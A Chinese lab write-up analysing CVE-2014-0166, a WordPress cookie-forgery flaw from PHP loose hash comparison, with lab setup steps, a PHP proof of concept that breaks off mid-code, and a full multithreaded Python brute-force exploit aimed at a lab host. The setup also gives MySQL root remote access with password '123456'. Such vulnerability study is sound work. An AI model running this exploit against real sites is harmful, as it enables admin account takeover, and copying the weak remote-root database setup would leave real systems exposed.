引言
课题背景
近年来,利用 Web 应用存在的安全隐患(即所谓的“漏洞”)展开攻击的案例层出不穷,受害者也与日俱增。虽说只要消除安全隐患就能够杜绝这些攻击,但这就需要 Web 应用开发人员掌握正确的安全性方面的知识。
本课题的研究
本文分析的是 WordPress 3.8.2 更新的Cookie伪造漏洞(CVE-2014-0166),并给出对应的POC和EXP。
根据描述 WordPress before 3.7.2 and 3.8.x before 3.8.2 都是受影响的。
漏洞知识分析的准备
PHP弱类型安全问题
弱类型转化问题
弱类型的语言对变量的数据类型没有限制,你可以在任何地时候将变量赋值给任意的其他类型的变量,同时变量也可以转换成任意地其他类型的数据。
类型转换是无法避免的问题。例如需要将GET或者是POST的参数转换为int类型,或者是两个变量不匹配的时候,PHP会自动地进行变量转换。但是PHP是一个弱类型的语言,导致在进行类型转换的时候会存在很多意想不到的问题。
比较操作符类型转换
在 b 的比较中
$a=null;$b=flase ; //true $a='';$b=null; //true
这样的例子还有很多,这种比较都是相等。
使用比较操作符的时候也存在类型转换的问题,如下:
0=='0' //true 0 == 'abcdefg' //true 0 === 'abcdefg' //false 1 == '1abcdef' //true
当不同类型的变量进行比较的时候就会存在变量转换的问题,在转换之后就有可能会存在问题。
Hash比较
除了以上的这种方式之外在进行hash比较的时候也会存在问题。如下:
"0e132456789"=="0e7124511451155" //true3 "0e123456abc"=="0e1dddada" //false "0e1abc"=="0" //true
在进行比较运算时,如果遇到了 0e\d+
这种字符串,就会将这种字符串解析为科学计数法。所以上面例子中2个数的值都是0因而就相等了。如果不满足0e\d+这种模式就不会相等。
Firefox下查看Cookie
打开Firefox 附加组件,搜索Firebug并安装
tutututut
按F12,可以在浏览器的底部找到如下视图,从视图中可以找到Cookie,可以在其中新建、删除、编辑相应的Cookie。


实验环境搭建
虚拟机安装
启动VirtualBox,新建一个虚拟机。

选择vmdk格式

然后一路下一步。
新建好后,载入CentOS ISO文件,启动虚拟机,进入安装界面。把CentOS安装好。

安装好后,进行更新以及安装一些需要软件。
更新:yum update –y

nginx 软件源码安装
从 http://nginx.org/en/download.html 下载 nginx-1.10.1.tar.gz
wget http://nginx.org/download/nginx-1.10.1.tar.gz
使用 tar –zxvf nginx-1.10.1.tar.gz
解压缩

之后进入nginx-1.10.1目录
./configure
(使用默认的配置,程序汇报安装到/usr/local)

Make && make install

支持php

启动nginx

mysql 源码安装
从 http://dev.mysql.com/downloads/mysql/ 下载社区版源码 mysql-5.7.13-1.el7.src.rpm
执行:
groupadd mysql useradd -r -g mysql mysql
解压:
rpm2cpio mysql-community-5.7.13-1.el7.src.rpm |cpio –div
解压文件 tar –zxvf mysql-5.6.25.tar.gz
编译安装
cd mysql-5.6.25
默认情况下是安装在 /usr/local/mysql
cmake . cmake . -DCMAKE_INSTALL_PREFIX=/usr/local/mysql -DMYSQL_DATADIR=/usr/local/mysql/data -DSYSCONFDIR=/etc -DWITH_MYISAM_STORAGE_ENGINE=1 -DWITH_INNOBASE_STORAGE_ENGINE=1 -DWITH_MEMORY_STORAGE_ENGINE=1 -DWITH_READLINE=1 -DMYSQL_UNIX_ADDR=/var/lib/mysql/mysql.sock -DMYSQL_TCP_PORT=3306 -DENABLED_LOCAL_INFILE=1 -DWITH_PARTITION_STORAGE_ENGINE=1 -DEXTRA_CHARSETS=all -DDEFAULT_CHARSET=utf8 -DDEFAULT_COLLATION=utf8_general_ci
编译的参数可以参考 http://dev.mysql.com/doc/refman/5.6/en/source-configuration-options.html
make && make install
设置文件夹及其子文件的所有人
chown -R mysql.mysql /usr/local/mysql
初始化数据库
cd /usr/local/mysql/scripts ./mysql_install_db --user=mysql --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data
注册为服务
cd /usr/local/mysql/support-files
注册服务
cp mysql.server /etc/rc.d/init.d/mysql
使用默认配置文件
cp my-default.cnf /etc/my.cnf
让chkconfig管理mysql服务
chkconfig --add mysql
开机启动
chkconfig mysql on
启动MySQL服务
service mysql start
改变编码,防止乱码
SHOW VARIABLES LIKE 'character%'
修改mysql的my.cnf文件
[client] default-character-set=utf8 [mysqld] character-set-server=utf8 [mysql] default-character-set=utf8
将mysql的bin加入到path中
cd ~
我把path添加到当前用户目录的bashrc中,如果需要全局设定,请修改 /etc/profile
vi .bashrc
加入以下内容
PATH=/usr/local/mysql/bin:$PATH export PATH
配置用户密码和远程访问权限
mysql -uroot SET PASSWORD = PASSWORD('123456'); GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
安装php
yum install php php-fpm #根据提示输入Y直到安装完成 yum install php-mysql php-gd libjpeg* php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-mcrypt php-bcmath php-mhash libmcrypt #这里选择以上安装包进行安装,根据提示输入Y回车 chkconfig php-fpm on #设置php-fpm开机启动
安装WordPress 3.8.1
启动nginx,mysql,

最终

漏洞原理
漏洞代码
wp/wp-includes/pluggable.php
在wordpress-3.8.1 中是这样的

在wordpress-3.8.2 修复后是

我们把全部的关注点放到 !=
与 !==
上来:
==
和 !=
即non-strict比较符,会在类型转换后进行比较。
再看php manual中给出的例子:
<?php var_dump(0 == "a"); // 0 == 0 -> true var_dump("1" == "01"); // 1 == 1 -> true var_dump("10" == "1e1"); // 10 == 10 -> true var_dump(100 == "1e2"); // 100 == 100 -> true ?>
字符串在与数字比较前会自动转换为数字,所以 0=="a"
了。
回到wordpress的验证代码上来。先生成根据用户名 ($username)
、密码 ($pass_frag)
、cookie有效期 ($expiration)
、wp-config.php中的key ($key)
四个信息计算出对应的 $hash
(算法很简单,不细说), 然后用cookie中取得的 $hmac
值与之进行比较 ($hmac != $hash ?)
,从而验证cookie有效性。
wordpress_hashofurl=username|expiration|hmac
我们能控制的变量有 $username
和 $expiration
,其中 $username
需要固定。于是我们可以通过控制cookie中的 $expiration
去改变 $hash
的值,然后将cookie中的 $hmac
设置为0
只要不断改变 $expiration
,直到满足 $hash=="0"
的$hash出现,就成功伪造了有效的cookie。
下面把pluggable.php的源码改一下,如下

当用户成功登陆后,会显示如下

POC代码及分析
根据上面所说的思路,修改一下网上找的POC如下
<?php $site_url = 'http://192.168.58.101/wp'; // 生成的 cookie key: 'wordpress_'+hash($site_url) $user = 'admin'; //用户名 $pass_frag = 'RmMi'; // password hash. $pass_frag = substr($user->user_pass, 8, 4) $scheme = ''; $unit = 1000000000; $init = empty($argv[1])?0:$argv[1]*$unit; //Start point. e.g. 2 for 200000000 $exptime = 1400000000+$init; $cnt = 0+$init; $max = $init + $unit; function gen_cookie($site_url,$user,$exptime,$pass_frag,$scheme) { $lk = 'Huc#,)Br)XE~%z[(genk;#tdnn 74<3H9vUWO T[W0fQ,QJuJ=h_I[>x.4<_kJWL'; //$auth_key configured in wp-config.php $ls='93owjz|2yvI 9ifYG4w(6W^Z^AO7zayL1Q>ko)N
登陆网站并添加Cookie,

可以用伪造的Cookie成功登陆
渗透测试
扫描目标主机

查看80端口的网站发现是WordPress 3.8.1
从github上找到了一个exp,并把地址和用户名修改一下,得到如下
#!/usr/bin/env python """ This script is the EXP of CVE-2014-0166. By varying the expiration value of the cookie, an attacker can find a 'zero hash' to forge a valid cookie. However, on average, we need 300 million requets to find a 'zero hash'. Therefore I wrote this multithread script. Details: http://www.ettack.org/wordpress-cookie-forgery/ Author: Ettack Email: <a href="/cdn-cgi/l/email-protection" data-cfemail="4025343421232b00272d21292c6e232f2d">[email protected]</a> """ import requests import hmac import threading from hashlib import md5 from sys import stdout from time import sleep,ctime,gmtime,time from os import _exit initnum = 0 #Set the initial value here while performing distributed computing. threadNum = 500 errTolerance = 0 #If ErrorRequests/AllRequests > errTolerance, then decrease threads number lock = threading.Lock() url = 'http://192.168.58.101/wp' user = 'admin' expiration = 1400000000+initnum cnt = 0+initnum cookie_k = 'wordpress_' + md5(url).hexdigest() def testCookie(url,user,expr): global errcnt cookie_v = user + '|' + str(expr) + '|0' cookie = {cookie_k:cookie_v} try: r = requests.head(url + '/wp-admin/',cookies=cookie) except requests.exceptions.ConnectionError: errcnt += 1 # print "Connection ERROR occured in %s"%(threading.current_thread()) sleep(8) return "Err" statcode = r.status_code if statcode == 200: return cookie if statcode != 302: errcnt += 1 sleep(5) return "Err" return False def action(): lock.acquire() global expiration,cnt expiration += 1 cnt += 1 stdout.flush() stdout.write("\r%s"%(cnt)) lock.release() try: #Copy expiration value to expr.As expiration would be increased by other threads. expr = expiration #Loop until no error while True: result = testCookie(url,user,expr) if result != "Err": break except KeyboardInterrupt: print "Interrupted at %s"%(expiration) _exit(0) except Exception,e: print e #Cookie found! Output to screen and file (wp_result). Output consumed time as well. if result != False: print "\n\nCongratulations!!! Found valid cookie:" print str(result) dtime = time()-stime timestr = gmtime(dtime) print "\nRunning time: %sd %sh %sm %ss"%(timestr.tm_mday-1,timestr.tm_hour,timestr.tm_min,timestr.tm_sec) with open("wp_result","w") as fp: fp.write(str(result)) fp.close() _exit(0) stime = time() print "Start at %s"%(ctime()) print "Guessing with %d threads...\n"%(threadNum) #Main part of guessing program while True: threads = [] errcnt = 0 for i in xrange(threadNum): t = threading.Thread(target = action) threads.append(t) t.start() for t in threads: t.join() #Adjust threads number errRate = float(errcnt)/threadNum if errRate > errTolerance: newThreadNum = int(threadNum * (1-0.5*errRate)) print "\nToo many retries (%d/%d). Automatically decrease to %d threads!"%(errcnt,threadNum+errcnt,newThreadNum) threadNum = newThreadNum #Log process to wp_log with open("wp_log","w") as fp: fp.write(str(cnt)) fp.close()
运行该脚本可以得到

成功登陆

结语
通过在红日安全漏洞组的学习和锻炼了漏洞的分析能力,寻找问题和解决问题的能力,让我明白了实践是检验真理的唯一标准
参考文献
- http://www.freebuf.com/vuls/31770.html
- https://www.91ri.org/8871.html
- http://cve.scap.org.cn/CVE-2014-0166.html
- http://www.68idc.cn/help/safe/anquanshezhi/20150611363726.html
注:本文内容来自互联网,旨在为开发者提供分享、交流的平台。如有涉及文章版权等事宜,请你联系站长进行处理。